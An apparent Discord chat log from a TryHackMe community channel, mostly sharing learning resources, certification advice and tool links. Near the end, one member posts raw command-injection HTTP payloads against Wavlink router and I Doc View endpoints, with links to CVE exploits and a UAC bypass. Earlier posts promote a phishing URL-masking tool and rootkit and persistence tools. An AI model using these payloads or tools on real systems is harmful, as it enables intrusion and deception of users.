I have searched a lot online, tried dex2jar, apktool to no success

it was straightforward converting apk to jar but the recompilation seems different

[unique crown]

sounds like a pickle, oops i mean onion

[unique crown]

https://github.com/ANG13T/url_genie

[wispy stag]

The Simple CTF room is outdated because of the exploit was written 5 years ago, here is a little help how to solve/workaround the issue: http://tomsitcafe.com/2023/08/23/tryhackme-simple-ctf-modern-solution-2023-working-exploit-with-docker-io/

this way you don't need to rewrite/convert the exploit, and the console output will be usable

[sudden fern]

pyenv and virtualenv anyone???

yes your way will obviously work but using the tools intended for using any version of python with a specific script and its dependencies goes a long way

[sonic abyss]

python2 script.py ?

[sudden fern]

well thinks ubuntu removed that binary by now.... and kali heavily recommends you use pyenv for running python2 scripts

[sonic abyss]

oh I use it directly

[karmic wave]

Hi , any resource to walkthrough Android Hacking 101 in tryhack me room? Like you tube video walkthrough?

[prisma bison]

@graceful hawk Please don't post shortened links here

[graceful hawk]

Free course on Linux and Shell Scripting
https://www.udemy.com/course/learn-linux-operating-system-from-basic-to-advanced/?couponCode=97EF644BCE13DC090941

[unique crown]

cryptography association
https://www.cryptogram.org/

[craggy onyx]

Please interact with the community before advertising your udemy courses.

[south stag]

Hi hackers, do someone have some really good indepth wapt resourse ?

[simple juniper]

Have you tried portswigger academy ?
https://portswigger.net/web-security

[south stag]

Yes I have

I just wanted to get some good videos

[runic shuttle]

Hi guys, I may be interviewing some blockchain/crypto companies for a security roles in the near future. Is there any interview questions cheat sheets/tutorials/free online courses on cybersecurity related to blockchain/crypto?

[paper ingot]

Just dropped a brand-new video where I take you through the essentials of Server-Side Request Forgery (SSRF), demonstrate how ChatGPT can generate SSRF-vulnerable code, and share effective mitigation techniques! 🚀

https://youtu.be/_NSmeqeS7Go?feature=shared

[sonic abyss]

https://cpu.land/

[unique crown]

this is fresh, july

[idle robin]

https://inferi.zip/paper/elf-rootkit-anti-reversing-techniques

[sonic abyss]

https://math-on-quora.surge.sh/

maths LaTeX cheatsheet

[unique crown]

Port Swigger is a great resource, I like how they break the concept down and give you lots of labs

[spring coral]

https://sqrx.com

[prisma bison]

@rough void Can you interact with the community before posting your tools here, please?

[unique crown]

not sure if anyone else is curious of Linux kernel dev,

TL;DR you need C

https://www.kernel.org/doc/html/v4.10/process/howto.html

[unique crown]

I bought Hacking API book and now there is a video ! (also there is the API academy)

https://youtu.be/YYe0FdfdgDU?feature=shared

[unique crown]

DFIR RSS Feed
https://thedfirreport.com/feed/

[craggy onyx]

You might also enjoy this one by Jai Minton:
https://www.jaiminton.com/cheatsheet/DFIR/# 🥳

[unique crown]

thanks

[odd sinew]

Gave +1 Rep to @craggy onyx

[cobalt canyon]

Thanks!

[odd sinew]

Gave +1 Rep to @craggy onyx

[unique crown]

This information is from Cisco's YouTube channel video: The Essentials of CCST Certification

# CCST Cybersecurity

validates's skills and knowledge of:

- cybersecurity principles
- network security and endpoint security concepts
- vulnerability assessment & risk management
- incident handling
- 1st step towards CyberOps Associate certification
- CCST certification for life
- no recertification requirements

Cisco Certified Support Technician: Cybersecurity  (there is Networking too)

- cybersecurity technician
- jr cybersecurity analyst
- help desk support
- security operations analyst



## CCST Training

CCST Networking (free e-learning & prep exam)

- network basics
- networking devices and initial config
- network addressing & basic troubleshooting
- network support & security
- network tech career path exam


CCST Cybersecurity (free training)

- intro to cybersecurity
- networking basics
- networking devices and initial config
- endpoint security
- network defense
- cyber threat management

120 hrs to complete
then exam

skillsforall.com > Explore > Get certified > CCST

https://skillsforall.com/resources/ccst-cybersecurity?courseLang=en-US

https://skillsforall.com/career-path/cybersecurity?courseLang=en-US



### Exam

CCST have to use, config diagnose problems, deeper concepts

CCST exam $125 USD, online requires proctor & webcam

50 min exam, must pass exam for cert

CCST Networking exam Topics :

1. standards and concepts
2. addressing and subnet formats
3. endpoint and media types
4. infrastructure
5. diagnosing problems
6. security (subdomains, WiFi, firewalls)

for the Network packet module you need to download Cisco's network software to analyze packets and answer questions

CCST Cybersecurity exam Topics:

1. essential security principles
2. basic network security changes
3. endpoint security concepts
4. vulnerability assessment and risk management
5. incident handling

[unique crown]

Pyramid of Pain , from SANS

https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

original link
https://www.sans.org/tools/the-pyramid-of-pain/

[golden nova]

https://roadmap.sh/roadmaps

Very useful website learn cybersecurity or any other computer related field very easy with step by step guys enjoy

[unique crown]

https://picoctf.org/about.html

[wooden vortex]

hey, do you guys know of a resource about thc-hydra? I cannot find anything that lists modules, specific options for modules etc

[stuck abyss]

Their github?

[odd quest]

https://www.youtube.com/watch?v=wDMsh7TJuqw

[winter hound]

search rana khalil in youtube

[unique crown]

https://youtu.be/RZ4p-saaQkc?feature=shared

[dawn oak]

Any web security labs other than portswigger to practice?

[unique crown]

maybe checkout vulnhub , only know about it never tried their stuff

[dawn oak]

it is more like retro htb

boxes to solve

[hushed estuary]

Aside from tryhackme?

[unique crown]

seriously why do i even bother to answer people. today onwards i am not going to help.

muted channel

[dawn oak]

Yeah ofc

TF what happened?

[hushed estuary]

who knows? breaks are important though

[spice garnet]

https://medium.com/p/4fac9505c23a - Blog post on Imposter Syndrone (Admittedly self-written)

[hushed estuary]

Yeah but you just need to realize the true secret, we're all imposters

[fierce meteor]

Hey, noob here. Does anyone know any good resources about the process of recon/ how an experienced ethical hacker would go about recon?

[heavy ember]

TCM Ethical hacking course could be a great start on this, i guess

[fierce meteor]

Ah thanks!

[wicked knoll]

Hello guys, I'm preparing for CEH exam and so far it's not that good as I am reading the book the EC council have provided. I need any video content about CEH to prepare for it. So if possible please provide me with resources! Thank You

[heavy ember]

Could you please share a little bit about what course material it covers?

[wicked knoll]

It's is given by ec council so it covers everything that you require for the exam. But as it is a text book it's a bit hard to read and understand

It covers all the 20 modules required for exam

[hushed estuary]

Normally this is supposed to test your knowledge and your ability to research. Best I can do is to wish you luck

[wicked knoll]

Haha ... Thank you

[odd sinew]

Gave +1 Rep to @hushed estuary

[quiet rock]

Free Event – worth checking out. Most interested in the talk on cloud lateral movement & hearing about the next gen of cloud attacks! Also, lots of info on new research & tools to level up your offensive sec game. And personally, don’t know who'd pass up a session with Stephen Sims.

HackFest Summit 2023
November 16-17 | Free Live Online
Details here: https://www.sans.org/u/1qTn

[honest nebula]

I'm looking to practice exploiting viewstate deserialization vulnerability.
anyone knows a machine wether it's on tryhackme or others?
or maybe setting up a new virtual machine that will have it?

[vivid locust]

https://github.com/Striving-to-learn/Cybersecurity-Resources been working on a comprehensive cybersecurity resource github repo . I'd like to get your feedback and suggestions.

[golden nova]

I think is not working bro

[vivid locust]

try now. had to temporarily disable it @golden nova

[scarlet yacht]

Not bad

[plain wagon]

Looks pretty good, my only recommendation might be to maybe add a bit more Active Directory stuff, but maybe I just have an obsession with AD

[golden nova]

https://www.futuretools.io/

[velvet fiber]

Hello all! I'm looking for good ways to learn cybersecurity and stay up to date on news in the field on my phone. Are there any good android apps that you all would recommend as far as learning, or cyber news? Thank you!

[fallen hull]

Has anyone got any good links for phone number lookups?

[fringe spire]

Care to elaborate? What are you trying to do exactly?

[timid light]

this is the app i use for industry news

[inland oyster]

I'd recommend podcasts as well, such as CyberWire or Smashing Security

[karmic shore]

https://github.com/HI0U/Numverify-Req-Api

[swift wedge]

I created this Anki deck for my own study purposes. It's a compilation of basic questions and topics that I found useful maybe for interview preparation and general knowledge enhancement.
You can download it from the AnkiWeb page at https://ankiweb.net/shared/info/2114580232?cb=1694109492290 or from my GitHub repository at https://github.com/kevinalexandervanegaszubiria/Basic-Cybersecurity-Interview-Questions-Anki-Deck

[heavy ember]

https://github.com/hackerschoice/zapper

[idle robin]

https://inferi.zip/paper/opening-the-hells-gate

[sick thunder]

https://infosecwriteups.com/22-6k-github-stars-note-taking-app-hit-by-critical-xss-vulnerability-842da56ae265

[shut ferry]

https://palant.info/2022/12/08/common-pitfalls-of-breaking-up-https-connections/

[stuck abyss]

https://www.theseus.fi/bitstream/handle/10024/806660/Thesis_Syynimaa_Nestori.pdf?sequence=2&isAllowed=y

For all your blue teamers

[untold nebula]

https://www.softwaretestinghelp.com/ not sure if its been posted before but there are some nice tutorials here.

[shut ferry]

https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/#

[shut ferry]

To launch a Reverse shell, the attacker doesn’t need to know the IP address of the victim to access the target computer.

[sonic abyss]

what about it?

victims machine connects to attackers machine

[pastel ravine]

Is it possible to get the actual VM used in any of the rooms .... Say like the owasp top 10 room

[dense citrus]

When investigating a suspicious process on Linux, try this:

strings /proc/<PID>/environ

For example, a socat command was used to spawn a reverse bindshell backdoor. Environ entry shows SSH connection data and traces to the socat comand. Some versions of netcat do similar.

[stuck abyss]

No, thm won't give out vms

[sonic abyss]

Depends on what room

[stuck abyss]

^ That's true.

There is some that are on Vulnhub,

I have a few of the older ones, like Blue, Retro! ETC.

But if it's THM's own they don't.

[sonic abyss]

@pastel ravine Now you asked about OWASP Top 10, the Juicebox one is avaliable https://owasp.org/www-project-juice-shop/

[dull glade]

hey ! every one
i have just recently got my CEH masters and ejpt certs . now to explore more about the field of malware analysis and detection. so i have decided to work on an open source anti malware (also as my final year project ) . I have read few research papers and patents for this , i will be very grateful if you guys can provide me with some resource or provide me some direction or things to consider or someone else project like this . i want to make sure that anti malware should be fairly easy to setup but offers customization for advanced users also most of the detection should be done on the host itself and not by sending a sample to cloud server. thanks in advance

[sonic abyss]

@prisma bison

[swift wedge]

We create a small Active Directory lab using VirtualBox and a Windows Server Standard evaluation. We'll configure it to act as a Domain Controller and set up ASREPRoast and Kerberoasting attacks step by step.

💡 Key Highlights:

• 🏗️ Setting up the Domain Controller with ease.
• 🛡️ Exploring the ASREPRoast Attack and making a user vulnerable.
• 🔐 Testing the ASREPRoast Attack to obtain password hashes.
• 🕵️‍♂️ Continuing with the Kerberoasting Attack and creating a vulnerable user.
• 🔑 Cracking hashes and gaining access.

🎥 Watch the full video for practical insights and hands-on experience. https://shorturl.at/quAD0
https://shorturl.at/MQX06

📚 Remember, "Build it before breaking!"

[sterile estuary]

Hello guys. Please can someon help with any comprehensive guide on threat modelling?

[slate lynx]

Throwing my cheat sheets here for others to utilize

Subnetting cheat sheet

Nmap cheat sheet (A bit long so discord scaled it down, apologies)

SOC Architecture map

[scarlet yacht]

https://www.youtube.com/watch?v=_tpB-B8BXk0

[wicked tide]

https://njmulsqb.github.io/2023/09/23/The-Blitzkrieg-Effect-Infiltrating-an-Enterprise-Active-Directory-Environment.html

[idle robin]

https://github.com/MatheuZSecurity/Infector

[chilly pier]

Thought this might be a good place to ask - I just graduated from a cybersecurity bootcamp and tryhackme is something I consistently did the whole time. I want to start creating walkthroughs and writeups. Could anyone out there with experience recommend some tools they use to write theirs. Which platform? Medium seems to be popular. How do you insert code into the articles, is there a software you use? Where do you store your images / screenshots. Any input would be greatly appreciated!

[unique crown]

https://www.youtube.com/@DFIRScience

[tepid patio]

imo deciding what the "best tool" to use is procrastination. you will be infinitely better if you start writing & publishing rn then trying to decide what to use 🙂

I use Ghost, I do not like Medium. But I like Medium more than not writing at all 😄

Hashnode is good as you own the domain, so you get SEO goodies and a nice domain. Medium is good as the audience is already there

[acoustic acorn]

I agree with this so much.
I always end up looking for the "best way" to do something. Life is nowadays all about being as efficient as possible. Using "suboptimal" tools or making less mistakes is not being efficient.

[tepid patio]

I like this tale a lot

Stephen King, one of the most beloved, famous and bestselling authors
ever, often goes to writer’s conferences. After he talks for a little bit he
says, “Any questions?”

Inevitably, someone raises their hand—I’m paraphrasing here—and says,
“Mr. King, you are one of the most beloved, famous, and bestselling
authors ever. What kind of pencil do you use to write your books?” It’s
almost as if knowing what kind of pencil Stephen King uses will help
them be more like Stephen King

[slate lynx]

Hey, has anyone here used twingate before? If so, do you have any pros or cons or feed back? I'm thinking about using it for my personal network but I want to get the opinion of someone with experience

[sonic abyss]

https://youtu.be/m6pJNW_jpw0?si=yPCorryRmEqotv3V

[idle robin]

https://www.youtube.com/watch?v=zSDtZOOc--M

https://www.youtube.com/watch?v=0f5MY5vVsl0

[grizzled moat]

can anyone explain the php data wrapper for me

[craggy onyx]

Please engage with the community before posting/advertising links.

[sonic abyss]

https://youtu.be/FvpZkEHpF8g?si=7Wxu8tyZ8VCMX7Nu

Very descriptive methodology for web testing

[tight kelp]

Yeah that was a really good video

[copper tangle]

hello Folks, do you have any resources to start simple projects with the Rasperry PI?

[narrow olive]

Here is something to secure or pen-test your Linux endpoints - VPS/VPC/Desktop https://github.com/bgenev/impulse-xdr Provides host & network intrusion detection; tracking indicators of compromise, security posture monitoring, alerting and active response.

[hollow depot]

https://www.edx.org/learn/cybersecurity/harvard-university-cs50-s-introduction-to-cybersecurity

CS50 just released this yesterday, its probably very basic but someone out here might enjoy it 🙂

It starts oct 2nd

[sonic abyss]

Nice!

[nova loom]

Anything CS50 is a + in my books

I took it over the summer and now my uni courses are boring because I already know the stuff

[acoustic acorn]

CS50 is in general a very good resources! Tons of free qualitative courses!

[sharp ginkgo]

hey guys, does anyone know where to find labs on EDR evasion?

[small mulch]

Harvard Launches Two New Free Certificate Course
https://www.classcentral.com/report/harvard-cs50-cybersec-sql/#free-certificate

[prisma bison]

@late comet please interact with the community before self promoting

[wheat drum]

Is there a zip file or similar I can download to have the same resources such as wordlists etc... that are available on the AttackBox ?

[prisma bison]

All wordlists are publicly available, they were installed by our AttackBox developer

You’ll just have to search around the internet for them

Please interact with the community before promoting your content 🙂

[sullen palm]

malware related content isn't discussed, much less promoted outside of the advanced channels here

@hushed estuary

[shut ferry]

Would you like it removed?

[prisma bison]

@shut ferry Malware is only allowed in #exploit-and-mal-studies

[sullen palm]

I'm just a member, not a mod or anything, but it'll be removed... as it just was, you can check the rules for how to get access to the advanced channels

[shut ferry]

My bad, I don't have access there.

[shut ferry]

I will, thanks.

[odd sinew]

Gave +1 Rep to @sullen palm

[prisma bison]

For a reason 😉

[prisma bison]

Please interact with the community before promoting your content here

[digital lark]

I was working on an LFI lab yesterday and just happen to see this post by @rich shore about LFI to RCE without log poisoning. Pretty cool, just checking the vid out now: https://www.youtube.com/watch?v=yq2rq50IMSQ

[fringe spire]

Please don't ping them

[digital lark]

duly noted.

[prisma bison]

Thanks 🙌
My YouTube feed omits anything cyber, definitely adding this to my list!

[odd sinew]

Gave +1 Rep to @digital lark

[digital lark]

Yeah it was a nice synchronicity from the universe to me. I'm going to try it out after lunch to see if it works on the lab i was doing. otherwise i might just do it on my own machine via docker as per the vid

[peak bear]

https://github.com/SegmaSec/JWT-Token

[random peak]

hey guys i really need help with this project, there's a check URL competition in my university for cybersecurity students to help spread awareness of malicious url's, the more you check and report the more points. the resources given to us are : https://www.virustotal.com/ , https://safeweb.norton.com/ , https://www.urlvoid.com/ . how might i have advantage over other's to win ?

[idle robin]

a strong persistence tool for Linux

[faint obsidian]

Hello can someone point me in the right direction of building a malware file checker in python

[oak island]

Does anyone know of websites or places I can go to practice bash challenges or bash scripts? I really enjoyed all the rooms on THM.

[hard solar]

not sure if something is is like that. but you can build you bash scripts localy

[oak island]

Yeah I have been building some locally but kinda running out of ideas. I have been using Hackerrank as well.

[hard solar]

you can automate things you learn

[nova loom]

Cmd challenge is a good one

[tepid patio]

imo this is a good video on exploiting CAP theorem (and eventual vs strong consistency) to steal $$$

https://www.youtube.com/watch?v=m4Fi_a9QATM

[outer oar]

Hey, have you checked out exercism.org? They have a Bash track you might be interested in. I find their content quite good for practicing. Used it for C and Python.

[oak island]

Thank you! This is exactly what i was looking for.

[odd sinew]

Gave +1 Rep to @outer oar

[idle robin]

https://inferi.zip/paper/understanding-api-hooking - @inferigang

[copper tangle]

hello guy! How are you doing? I would like to ask if anyone can suggest tips and resources for the MS SC-200. Apart from books and the MS free material, do you know any good channel to learn by videos? For instance, I used to watch Savill's videos when I took the SC 900, but I noticed that he hasn't released any course for the SC 200. Thanks in advance!

[jagged tiger]

Isn't this like the 4th or 5th time we've had to tell you that self-promotion is frowned upon here?

[swift scarab]

Facad1ng - The Ultimate URL Masking Tool - An Open-Source URL Masking Tool Designed To Help You Hide Phishing URLs And Make Them Look Legit Using Social Engineering Techniques https://github.com/spyboy-productions/Facad1ng

[normal brook]

We have forked mitchmoser's SharpShares to add stealth and evasion features such as sleep/jitter and share spidering. We hope that it will be of help to fellow redteamers: https://github.com/Hackcraft-Labs/SharpShares

[tropic moon]

Hi! Any useful resources/videos to learn Android app development in Java?

[golden shell]

Hey I’m a bug hunter but most of my sites that I want to attack use APIs and I don’t really know much on those. Anyone got some good tips or rooms for APIs and nginx

[plain wagon]

The owasp api top ten rooms are good https://tryhackme.com/hacktivities?tab=search&page=1&free=all&order=most-popular&difficulty=all&type=all&searchTxt=api

[golden shell]

Thank you

[exotic schooner]

Unlock the World of Ethical Hacking with Industry Experts at Techfest! 🌐🔒 Join us for a hands-on workshop that will empower you to safeguard the digital realm. Secure your spot today!
Register now at -
techfest.org/hacking

Grab offer & get full access to all the events at Techfest, IIT Bombay.

[sterile frost]

https://grow.google/certificates/interview-warmup/

[idle robin]

https://github.com/MatheuZSecurity/Koth-TryHackMe-Tricks

[prisma bison]

@karmic shore Hey, please keep it English

And please do not self promote or advertise here 🙂

[prisma bison]

@shut ferry Hey, can you interact with the community a little more before posting your content? 🙂

[winged heart]

Hey everyone, do you guys have any book or resource suggestions that can help me master active recon - from scanning to finding vulnerabilities?

[quiet atlas]

i gotta give it to u its good script

[torpid wedge]

Hey! Anybody with any necessary materials in preparation for CC ISC2 exam?

[brave harbor]

I'm not sure this is the server for it, but have you looked at the 1 Million Certified in Cybersecurity by ISC2? You're supposed to register and you'll be given 6-month access to the material.

[torpid wedge]

Yes I have, but the review I read online made me know that the materials given on their portal is not sufficient to pass the exam

[brave harbor]

I have a few friends who relied solely on the material from ISC2 with no issues.

You might find the solution or material suggestions you are looking for in the Certification Station discord.

[rapid rock]

ISC2 CC material is all I used to pass the exam, the key is to understand the concepts and how to apply to different scenarios.

[prisma bison]

@teal snow please interact with the community before self promoting :)

[boreal snow]

Some black friday deals: https://github.com/0x90n/InfoSec-Black-Friday

[idle robin]

https://www.linkedin.com/posts/matheus-alves-212775208_6-tips-on-how-to-hunting-for-hidden-rootkits-activity-7113904168989290496-oufd?utm_source=li_share&utm_content=feedcontent&utm_medium=g_dt_web&utm_campaign=copy

[sonic abyss]

https://hack.ainfosec.com/

[stuck abyss]

How many have you done?

[sonic abyss]

I only just found it

But had a look at some of them and looked pretty cool

Done a couple so far but will come back to it later

[stuck abyss]

They do.

[sudden fern]

https://github.com/0x90n/InfoSec-Black-Friday

have fun

[shut ferry]

FREE AI Resume builder (Pro Lifetime) Only valid for a couple more days.

• Sign-up here: https://www.rezi.ai/
• Click upgrade and select "Lifetime"
• Use code thanksrezi

[nova flame]

Does anyone know a source to a malware free version of immunity debugger?

[nova flame]

This is a really good service! I can vouch for that!

[jagged tiger]

Interesting talk about safe/secure coding in C++: https://www.youtube.com/watch?v=I8UvQKvOSSw

[shut crane]

https://github.com/R-s0n/ars0n-framework

[clever prism]

I'm working on a tool https://github.com/NullRobot/Tooth-Fairy . ToothFairy.sh is a versatile tool designed to analyze and summarize data from network capture files and web content. For network captures, the script can extract and search for sensitive information such as email addresses, credit card numbers, passwords, file names, geolocation data, network shares, and more. ToothFairy.sh supports a variety of formats including pcap, pcapng, cap, snoop, netmon, and others.

I'd love any feedback. The web aspect of the script still needs a lot of improvement.

[stuck abyss]

Interesting, I wrote a similar script that extracts RDP's, all ip's, http requests, dos attacks, host names, malware, pings and services. (but I won't be releasing mine)

[clever prism]

Oh those are great ideas. @stuck abyss

[eternal flare]

Thanks 🤩

[odd sinew]

Gave +1 Rep to @sage heath

[scarlet yacht]

[sonic abyss]

well that gave me a jump scare

cool project tho!

[clever prism]

Thanks. It needs a lot of work. I'm using it for favorite THM rooms and wherever it falls short I'm updating it.

[odd sinew]

Gave +1 Rep to @sonic abyss

[sonic abyss]

https://cs50.harvard.edu/cybersecurity/2023/

[nova loom]

how basic is it? (because the cybersec chapter one in regular cs50 was very very basic)

[sonic abyss]

pretty basic

[nova loom]

still gonna go over it in winter break to see if I'm missing anything with fundamentals

[scarlet yacht]

https://securityzines.com/
Interesting concept 🤔

[opal horizon]

sorry for the ping but this looks amazing to try especially now that I'm using Wireshark in my pentests

[clever prism]

Awesome. It needs a ton of work for the web aspect and going to make that improved. Please let me know what could be better.

[opal horizon]

I'll use it and try to mess with it and will help in whatever I can

[late comet]

Top AppSec Job Interview Question 12: https://www.youtube.com/watch?v=GOyUxCm1Qjs&ab_channel=HamzaAvvan

[golden nova]

https://youtu.be/zA8guDqfv40?si=JGZsYiF6bLQwux1U

100+ AWS course enjoy 😉

[urban sail]

https://breakthecode.tech/

[past totem]

https://github.com/ApprenticeofEnder/KaliDocker

I got fed up with VMs, I got fed up with USBs, and I didn't want to install to bare metal. So I made Kali work for me in Docker.

[hushed estuary]

I mean it's technically possible

[vocal hare]

hey guys I really want to get good at forensics ctf any tips and resources?

[stuck abyss]

Read read read.

What sort of forensics, all?

Or do you want to specalise, in memory. network, cloud, etc?

[digital lark]

Ive been having fun doing the THM forensics rooms

[digital lark]

Check the SOC Level 1 path for some forensics rooms

[vocal hare]

I want to be able to at least know the methodologies or any resources at all so I can at least have an idea to do the forensics sections in CTFs. I want to get good at it basically.

[vocal hare]

great thank you, you got anymore resources for forensics

[odd sinew]

Gave +1 Rep to @digital lark

[digital lark]

I just started my forensics journey. I have some books on the topic that I bought in a bundle but I haven't read them so I can't give recommendations really

[tepid patio]

https://dogbolt.org/

[tepid patio]

self promo of a discord bot of hacking tools some may find useful https://skerritt.blog/the-ultimate-discord-hacking-bot/

[sonic abyss]

https://www.youtube.com/watch?v=NhDYbskXRgc

[past totem]

Hey folks!

I recently made a substack all about security, both on the developer side, and how you can protect yourself as an individual too. First post is a round up of my favourite low-cost privacy and security enhancement tools. Feel free to share these with family or friends or even use them yourself!

https://robertbabaev.substack.com/p/0x01-a-privacy-and-security-suite

[prisma bison]

Hey @fallow saffron, can you interact with the community before self promoting, please

[fallow saffron]

My mistake

Could you tell me the person name to contact for promoting any article

[prisma bison]

This defeats the point of the Discord, it is here for the discussion and celebration of TryHackMe 🙂

With a side benefit of sharing knowledge related to information security.

[fallow saffron]

Yeah that's a good blog give it a try

[bold fractal]

<#651923438524432404>

Rule 3 - No Advertising

No excessive self-promotion. While you're welcome to post your write-ups, walkthroughs, and streams of TryHackMe content, spamming of your own channels isn't tolerated.

TryHackMe Rules · Dec 9, 2023, 4:42 PM

[fallow saffron]

I have shared it in only one channel right

That too resources

[versed spire]

Small self-promo, I've recently finished writing an article I'm pretty proud of: https://medium.com/@aquilosec/a-pentesters-guide-to-graphql-68ac58777bd4. Let me know what you think!

I'm not sure why the image isn't loading 🙁

[stuck abyss]

The embed?

[versed spire]

Yep, it's fine though

[sonic abyss]

Well written!

[versed spire]

Thank you! Appreciate it

[fallow saffron]

It's really nice article

[versed spire]

Thank you!

[idle robin]

https://www.youtube.com/watch?v=qNspXBXOpHA

[bold fractal]

Information

Discord Slash Commands

https://support.discord.com/hc/en-us/articles/1500000368501-Slash-Commands-FAQ

Dec 18, 2023, 8:12 PM

[prisma bison]

#thm-community-media

[past totem]

Right, thanks!

[prisma bison]

@river wave can you just provide the article link please

[river wave]

yeah sure a just a sec

https://medium.com/@3aminne.v/enhancing-the-knowledge-of-your-information-system-for-robust-cybersecurity-2ed122cbfa14

here you go sorry if it was the wrong one

[prisma bison]

the original article you linked to was about CVSS

You posted a weird link redirect instead of the link to the medium article

[river wave]

https://medium.com/@3aminne.v/unveiling-the-next-frontier-whats-new-in-cvss-4-0-4c12dc436714

this one maybe

[prisma bison]

Mhm

[river wave]

not sure how to interpret this message X)

[sonic abyss]

Here's a quick bash function I came up with for anyone wanting to easily share a terminal recording (using t-rec, filebin and copyq)

up() {
  local file_path=$1
  local file_name=$2
  local random_bytes=$(openssl rand -hex 16)

  curl -s -X 'POST' "https://filebin.net/$random_bytes/$file_name" \
       -H 'accept: application/json' \
       -H 'Content-Type: application/octet-stream' \
       --data-binary @"$file_path" > /dev/null
  copyq copy "https://filebin.net/$random_bytes/$file_name"
}

rec() {
    local timestamp=$(date +%s)
    t-rec -q
    up t-rec.gif terminal.gif
    mv t-rec.gif "/home/<user>/Pictures/Terminal/$timestamp.gif"
}

Automatically copies it to the clipboard

[tepid patio]

https://github.com/peterheinrich/InternetOverSpaghetti

[crisp sphinx]

check out my project. any feedback is greatly appreciated.
it a cli tools that helps you with searching and printing gtfo, lolbas, tldr(man page but like cheatseet for commands), generating reverse shell, and print your notes directly on cli.
https://github.com/foreztgump/gibme

[opal horizon]

https://roadmap.sh/

[pine spade]

https://github.com/8u5h1d0/coffebreak

[prisma bison]

@desert imp please interact with the community before self promoting

[desert imp]

i did not know

where to self promote

[bold fractal]

<#651923438524432404>

Rule 3 - No Advertising

No excessive self-promotion. While you're welcome to post your write-ups, walkthroughs, and streams of TryHackMe content, spamming of your own channels isn't tolerated.

TryHackMe Rules · Dec 26, 2023, 3:13 PM

[tepid patio]

Want to reshare an important blog post I wrote on making hacking accessible 🙂 https://skerritt.blog/making-hacking-accessible/

[brazen sequoia]

Could you get back to me via DM pls once you see my message?

@vestal locust

[nova loom]

https://flippybitandtheattackofthehexadecimalsfrombase16.com/

For practicing hex to binary conversions

[stuck abyss]

https://dfirdiva.com/free-affordable-training-news-monthly-dec-2023-jan-2024/

DFIR Diva is one of my go to for resources, here's some free resources for various things DFIR related.

[eternal creek]

Just completed the Google Dorking room. Found this on Github https://github.com/m3n0sd0n4ld/uDork/blob/master/dorks/passwords.txt

[cobalt anchor]

How much time does a tpm 9.0 take to disperse money?

Help anyone?

[cobalt anchor]

Urgent

Need help

[eternal creek]

sorry idk

[shut ferry]

https://askubuntu.com/questions/148337/adding-a-directory-to-a-path-in-profile

Don't forget source after to reprocess init files from your home directory

And this is to make a symlink to /opt after you unpack your third party apps in it
https://askubuntu.com/questions/114721/symbolic-link-to-opt

[cedar willow]

in doing the splunk basics why is it I have to go to youtube to get advice on what to do next, there is so much information missing from the rooms instructions constantly, why? i.e. Select Source -> Where we select the Log source.
Select Source Type -> Select what type of logs are being ingested.
Input Settings ->Select the index where these logs will be dumped and hostName to be associated with the logs.......

The instructions dont tell you that you must create a new index for the VPN logs or that to upload the VPN logs you have to do it in the VM although your told to download the logs onto your PC etc

I wasted 45 mins trying to figure this out just to be able to move forward.

[idle robin]

https://github.com/MatheuZSecurity/D3m0n1z3dShell

[bold fractal]

OpenVPN: General troubleshooting

Article Link

https://help.tryhackme.com/en/articles/6496029-openvpn-general-troubleshooting

Jan 8, 2024, 12:05 AM

[prisma bison]

@lavish granite please interact with the community before self promoting

[lavish granite]

Ok

[gloomy venture]

https://github.com/JaneMandy/CVE-2023-51467-Exploit

Apache Ofbiz CVE-2023-51467 Java

Wavlink路由器远程命令执行

POST /cgi-bin/mesh.cgi?page=upgrade&key=%27;id%3E%3Echeck.txt' HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

page=night_led&start_hour=;id;

URL /cgi-bin/check.txt

CVE-2023-30547 : VM2 Sandbox < 3.9.17 - Remote Code Execution

POC : https://github.com/rvizx/CVE-2023-30547

Analysis : https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

CVE-2023-20198 & CVE-2023-20273 : Cisco IOS XE Software 'WebUI' - Authenticated / Unauthenticated Command Injection(Root)

POC N/A : https://github.com/smokeintheshell/CVE-2023-20198

POC  N/A : https://github.com/smokeintheshell/CVE-2023-20273

NVD POC : http://packetstormsecurity.com/files/175674/Cisco-IOX-XE-Unauthenticated-Remote-Code-Execution.html

Blog / POC  :

1. https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc
2. https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting

https://mp.weixin.qq.com/s/wHNmO5X9eEI4xH5VkOP-cw

0day | XVE-2023-23743 RCE

𝐒𝐜𝐚𝐧𝟒𝐚𝐥𝐥

Official repository vuls Scan: 15000+PoCs; 23 kinds of application password crack; 7000+Web fingerprints; 146 protocols and 90000+ rules Port scanning; Fuzz, HW, awesome BugBounty

https://github.com/GhostTroops/scan4all

Artillery

CIA UAC bypass implementation that utilizes elevated COM object to write to System32 and an auto-elevated process to execute as administrator.

[gloomy venture]

https://github.com/hackerhouse-opensource/Artillery

StageFright

A staged payload framework that allows the user to run customized staged payloads over various protocols.

https://github.com/assume-breach/Home-Grown-Red-Team/tree/main/StageFright

[gloomy venture]

I Doc View在线文档预览系统

POST /system/cmd.json HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 127.0.0.1
Content-Length: 31
Expect: 100-continue
Connection: close

cmd=echo+%26+%28whoami%29+%26

🖥CVE-2022-46722 : PWN macOS Kernel Via OTA Update

🍑POC : https://github.com/jhftss/POC/blob/main/CVE-2022-46722/exploit.m

⭐️ Video : https://youtu.be/m_gGHVWLQ0Y?si=LgZ7hQVtbe1ZNBgS

📔PDF :  https://github.com/jhftss/jhftss.github.io/blob/main/res/slides/OBTS_v6_The Nightmare of Apple OTA Update_Mickey Jin.pdf

🖥CVE-2023-42793 : JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE

